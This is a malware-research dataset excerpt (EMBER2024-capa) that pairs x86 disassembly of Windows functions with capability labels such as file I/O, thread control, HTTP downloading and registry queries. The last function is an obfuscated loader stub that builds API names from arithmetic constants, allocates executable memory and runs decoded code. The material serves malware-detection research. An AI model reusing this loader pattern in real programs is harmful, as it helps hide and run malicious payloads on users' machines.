joyce8/EMBER2024-capa huggingface dataset:
Function at 0x645730
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
cmp dword [edi], 0
jne 0x64575d
call fcn.0063dda0
push str.file_handler_to_read_not_initialized
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
add esp, 8
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
lea eax, [ebx + 8]
push esi
mov ecx, eax
mov dword [ebp - 4], eax
call fcn.00643070
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x6457dd
mov esi, dword [ebp + 0x18]
lea eax, [ebp + 8]
push 0
push eax
push esi
push dword [ebp + 0x14]
mov dword [ebp + 8], 0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp + 0x18], eax
cmp dword [ebp + 8], esi
jb 0x6457a9
test eax, eax
jne 0x645810
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x24], 1
call esi
mov dword [ebx + 0x28], eax
call fcn.0063dda0
mov edi, eax
mov ebx, dword [edi]
call esi
push eax
push str.failed_to_read_data._Error_code____d
push 0x6efbcc
push edi
call dword [ebx + 0x24]
mov esi, dword [ebp + 0x18]
add esp, 0x10
jmp 0x645812
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x24], 1
call esi
mov dword [ebx + 0x28], eax
call fcn.0063dda0
mov edi, eax
mov ebx, dword [edi]
call esi
push eax
push str.file_pointer_set_error____d
push 0x6efbcc
push edi
call dword [ebx + 0x24]
add esp, 0x10
xor esi, esi
jmp 0x645812
mov esi, eax
mov ecx, dword [ebp - 4]
call fcn.00643090
xor eax, eax
cmp esi, 1
pop esi
pop edi
sete al
pop ebx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x645870
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
cmp dword [edi], 0
jne 0x64589d
call fcn.0063dda0
push str.file_handler_not_initialized
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
add esp, 8
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
lea eax, [ebx + 8]
push esi
mov ecx, eax
mov dword [ebp - 4], eax
call fcn.00643070
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x64590d
mov esi, dword [ebp + 0x18]
lea eax, [ebp + 8]
push 0
push eax
push esi
push dword [ebp + 0x14]
mov dword [ebp + 8], 0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
cmp dword [ebp + 8], esi
jb 0x6458e8
test edi, edi
jne 0x64593e
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x24], 1
call esi
mov dword [ebx + 0x28], eax
call fcn.0063dda0
mov edi, eax
mov ebx, dword [edi]
call esi
push eax
push str.failed_to_write_data._Error_code____d
jmp 0x645930
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x24], 1
call esi
mov dword [ebx + 0x28], eax
call fcn.0063dda0
mov edi, eax
mov ebx, dword [edi]
call esi
push eax
push str.file_pointer_set_error____d
push 0x6efbcc
push edi
call dword [ebx + 0x24]
add esp, 0x10
xor edi, edi
mov ecx, dword [ebp - 4]
call fcn.00643090
xor eax, eax
cmp edi, 1
pop esi
pop edi
sete al
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x64b9f0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x654410
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x738844]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 0x24]
mov dword [esi], vtable.WorkerThread.0
test eax, eax
je 0x64ba64
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
test edi, edi
je 0x64ba54
call fcn.0063dda0
push edi
push dword [esi + 0x38]
mov ecx, dword [eax]
push str.Forcing_the_thread___d__to_terminate_forcibly._Thread_seem_to_get_hanged._Error____d
push eax
call dword [ecx + 0x14]
add esp, 0x10
push 0
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x24], 0
lea ecx, [esi + 8]
call fcn.00643080
lea ecx, [esi + 8]
call fcn.00442a60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x64bc60
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword [esi + 0x24], 0
je 0x64bc8a
call fcn.0063dda0
push dword [esi + 0x38]
push str.thread___d__is_already_running._Closing_it_first
mov edx, dword [eax]
push eax
call dword [edx + 4]
add esp, 0xc
mov ecx, esi
call fcn.0064beb0
lea eax, [ebp - 4]
push eax
push 4
push esi
push 0x64ba90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x24], eax
test eax, eax
jne 0x64bcc6
call fcn.0063dda0
push str.failed_to_create_a_new_thread._Fatal_Error
push 0x6efbcc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
add esp, 0xc
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x64bd01
call fcn.0063dda0
push str.thread_failed_to_resumed._fatal_error
push 0x6efbcc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
add esp, 0xc
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x24], 0
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov dword [esi + 0x38], eax
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x64beb0
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 4], 0
je 0x64bfb1
push edi
lea ecx, [esi + 8]
mov dword [esi + 0x34], 2
call fcn.00643070
mov ecx, dword [esi + 0x28]
test ecx, ecx
je 0x64bf56
mov eax, dword [ecx]
call dword [eax + 0x10]
mov eax, dword [esi + 0x28]
xor edi, edi
cmp dword [eax + 8], 3
je 0x64bf56
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop
mov eax, dword [esi + 0x28]
cmp dword [eax + 8], 5
je 0x64bf55
inc edi
cmp edi, 0x12c
jne 0x64bf25
call fcn.0063dda0
mov ecx, dword [esi + 0x28]
mov edx, dword [eax]
push dword [ecx + 4]
push str.forcing_the_job___d__to_terminate.
push eax
call dword [edx + 0x14]
mov ecx, dword [esi + 0x28]
add esp, 0xc
mov eax, dword [ecx]
call dword [eax + 0x14]
jmp 0x64bf2d
cmp edi, 0x3e8
je 0x64bf3c
push 0xa
call ebx
mov eax, dword [esi + 0x28]
cmp dword [eax + 8], 3
jne 0x64bef0
jmp 0x64bf55
call fcn.0063dda0
mov edx, dword [esi + 0x28]
mov edi, dword [eax]
push dword [edx + 4]
push str.job___d__is_still_not_terminated._Closing_the_thread_handle_now
push eax
call dword [edi + 0x14]
add esp, 0xc
pop ebx
lea ecx, [esi + 8]
call fcn.00643090
mov eax, dword [esi + 0x24]
test eax, eax
je 0x64bfa9
push 0x61a8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
test edi, edi
je 0x64bf99
call fcn.0063dda0
push edi
push dword [esi + 0x38]
mov ecx, dword [eax]
push str.Forcing_the_thread___d__to_terminate_forcibly._Thread_seem_to_get_hanged._Error____d
push eax
call dword [ecx + 0x14]
add esp, 0x10
push 0
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x24], 0
mov dword [esi + 0x34], 3
pop edi
mov al, 1
pop esi
ret
Function at 0x64e280
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x20], 0
jne 0x64e2b2
sub esp, 0x18
mov ecx, esp
push 0x6efbcc
call fcn.0043d1a0
push 0
push 0x13
mov ecx, esi
call fcn.0064f610
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0xb0]
test eax, eax
je 0x64e2cd
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [esi + 0xb0], 0
mov eax, dword [esi + 0x24]
mov edi, 0x100
mov ecx, 0x800100
lea edx, [eax + 0x138]
cmp dword [eax + 0x154], 1
cmove edi, ecx
cmp dword [edx + 0x14], 8
jb 0x64e2f2
mov edx, dword [edx]
cmp dword [esi + 0x90], 8
lea eax, [esi + 0x7c]
jb 0x64e300
mov eax, dword [eax]
cmp dword [esi + 0xa8], 8
lea ecx, [esi + 0x94]
jb 0x64e311
mov ecx, dword [ecx]
push edi
push 0
push edx
push 0
push eax
push ecx
push dword [esi + 0xac]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [esi + 0xb0], eax
test eax, eax
jne 0x64e35a
call fcn.0063dda0
push str.createRequest_:_failed_to_open_the_request_handle
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0064edd0
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x64e370
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x20], 0
je 0x64e4cd
cmp byte [esi + 0x28], 0
je 0x64e4cd
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], 0
mov dword [ebx], 0
push dword [esi + 0xb0]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x64e3e9
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push eax
mov ecx, esi
call fcn.0064edd0
call fcn.0063dda0
mov esi, eax
mov edi, dword [esi]
call ebx
push eax
push str.Error__d_in_WinHttpQueryDataAvailable._n
push 0x6efbcc
push esi
call dword [edi + 0x24]
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x14]
cmova ecx, dword [ebp + 0x14]
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x64e406
lea eax, [ecx + 2]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
je 0x64e466
push 0x6eed5c
push ecx
call fcn.00652e3b
add esp, 8
mov dword [edi], eax
test eax, eax
jne 0x64e463
call fcn.0063dda0
push dword [ebp - 4]
push str.failed_to_allote_mmeory_of_size__d
mov ecx, dword [eax]
push 0x6efbcc
push eax
call dword [ecx + 0x24]
sub esp, 8
mov ecx, esp
push 0x6efbcc
call fcn.0043d1a0
push 0
push 0x14
mov ecx, esi
call fcn.0064f610
mov eax, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
push ecx
push 0
push dword [edi]
call fcn.005e8a30
add esp, 0xc
push ebx
push dword [ebp - 4]
push dword [edi]
push dword [esi + 0xb0]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x64e4ba
call fcn.0063dda0
push str.Error__u_in_WinHttpReadData._n
push 0x6efbcc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0064edd0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp - 4]
neg eax
sbb eax, eax
add eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.0063dda0
push str.downloader_is_not_initialized
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
sub esp, 0x10
xor eax, eax
mov ecx, esp
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push 0x6efbcc
mov word [ecx], ax
call fcn.0043d370
push 0
push 0x13
mov ecx, esi
call fcn.0064f610
pop edi
pop esi
mov eax, 3
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x64e930
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 4]
push esi
push edi
push 0
push eax
push 0
mov edi, ecx
mov dword [ebp - 4], 0
push 0
push ebx
push dword [edi + 0xb0]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0x24
jne 0x64e96c
cmp eax, 0x2f76
je 0x64e979
cmp eax, 0x7a
je 0x64e984
push eax
mov ecx, edi
call fcn.0064edd0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 4]
test eax, eax
jne 0x64e9ae
call fcn.0063dda0
push str.retrieveHeaderFromHttpRequest:_Zero_buffer_required....
push 0x6efbcc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
shr eax, 1
mov edx, 2
mul edx
push 0x6eed5c
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00652e3b
mov esi, eax
add esp, 8
test esi, esi
jne 0x64ea0d
call fcn.0063dda0
push str.failed_to_allocate_memory
push 0x6efbcc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
sub esp, 0xc
mov ecx, esp
push str.Memory_Allocation_Failed
call fcn.0043d1a0
push esi
push 0x14
mov ecx, edi
call fcn.0064f610
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0
lea eax, [ebp - 4]
push eax
push esi
push 0
push ebx
push dword [edi + 0xb0]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
jne 0x64ea49
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, edi
call fcn.0064edd0
push esi
call fcn.005d2f02
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
push esi
call fcn.0043d0f0
push esi
call fcn.005d2f02
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x64eb50
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push 0
push eax
push 0
push 0
push 0x16
push dword [edi]
mov dword [ebp - 4], 0
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x64ebd8
mov eax, dword [ebp - 4]
xor ecx, ecx
shr eax, 1
mov edx, 2
mul edx
push esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.005d2ef9
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
push 0
push 0x16
push dword [edi]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
je 0x64ebca
call fcn.0063dda0
push esi
push str.Header_contents:__n_s
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
add esp, 0xc
test esi, esi
je 0x64ebd7
push esi
call fcn.005d2f02
add esp, 4
pop esi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402b34
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402bcc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402bac
xor eax, eax
push ebp
push 0x402ba5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402be8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402bac
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403478
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a044], 0
je 0x4034d9
cmp word [0x40a218], 0xd7b2
jne 0x4034a1
cmp dword [0x40a220], 0
jbe 0x4034a1
mov eax, 0x40a214
call dword [0x40a230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40905c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403500
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x409020], 0
jne 0x4034f5
push 0
push 0x409054
push 0x40905c
push 0
call sub.user32.dll_MessageBoxA_1
pop edx
ret
Function at 0x403e8c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4040bc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403f0f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4040bc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403f0f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4040d8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403f98
xor eax, eax
push ebp
push 0x403f91
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00403cd4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x403f76
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4040f8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x403f76
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f98
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale_1
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4040b2
cmp byte [ebp - 0xd], 0
jne 0x403fdf
cmp byte [ebp - 0x12], 0
je 0x4040b2
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x403ff8
dec ebx
cmp byte [ebx], 0x2e
je 0x404007
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x403ff7
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4040b2
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404044
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4040b2
cmp byte [ebp - 0xd], 0
je 0x4040b2
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4040b2
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404248
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4042ae
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040383c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402728
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404298
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4042b5
lea eax, [ebp - 0x10]
call fcn.004035f4
ret

Function at 0x4060dc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x406115
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004036e4
jmp 0x40611e
mov eax, ebx
mov edx, esi
call fcn.00403648
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x406128
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x406149
mov al, byte [esp]
jmp 0x40614b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x407240
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4072a4
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040383c
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetACP
mov edx, eax
pop eax
call fcn.004054a4
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4072ab
lea eax, [ebp - 0xc]
call fcn.004035f4
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x403e59
pop dword [ebp - 0x14]
mov eax, 0x403e59
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x80f839bf
sub dword [ebp - 0x24], 0x32a5f474
mov dword [ebp - 0x20], 0xc1cee990
sub dword [ebp - 0x20], 0x8f9b9d4b
mov dword [ebp - 0x1c], 0x6a6d40d5
sub dword [ebp - 0x1c], 0x1e20fca7
mov dword [ebp - 0x18], 0xfbf0b2b9
add dword [ebp - 0x18], 0x40f4d47
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xae92f932
sub dword [ebp - 0x24], 0x3a208fdc
mov dword [ebp - 0x20], 0x575cf354
add dword [ebp - 0x20], 0xea0f6e21
mov dword [ebp - 0x1c], 0xddf237fd
sub dword [ebp - 0x1c], 0x7a82cb91
mov dword [ebp - 0x18], 0x38e17d26
add dword [ebp - 0x18], 0xc71e82da
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x8f5661e9
sub eax, 0x8f15e115
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x389a5
push 0
call eax
mov ecx, 0x86dde480
add ecx, 0x79226aec
mov esi, eax
mov edi, 0x8404f8e1
sub edi, 0x83c3e8e1
add edi, dword [ebp - 0x14]
mov edx, 0x7c1176e9
add edx, 0x2bec6e3c
xor dword [ebp - 0x10], 0x27652932
mov ebx, dword [edi]
mov dword [ebp - 0x10], 0xe78d8a3f
add ebx, edx
mov dword [ebp - 0x10], 0xcb10796f
mov dword [esi], ebx
xor dword [ebp - 0xc], eax
add esi, 0xf1878937
sub esi, 0xf1878933
add edi, 0xe2bdfe01
sub edi, 0xe2bdfdfd
loop 0x403f71
add eax, 0x2f842513
add eax, 0xd07d0b70
xor ebx, ebx
add ebx, eax
add eax, 0x2f4378f4
sub eax, 0x2f4378ef
mov ecx, 0xae444fb4
add ecx, 0x51fbb04c
add ecx, dword [ebp - 0x14]
call ebx
leave
ret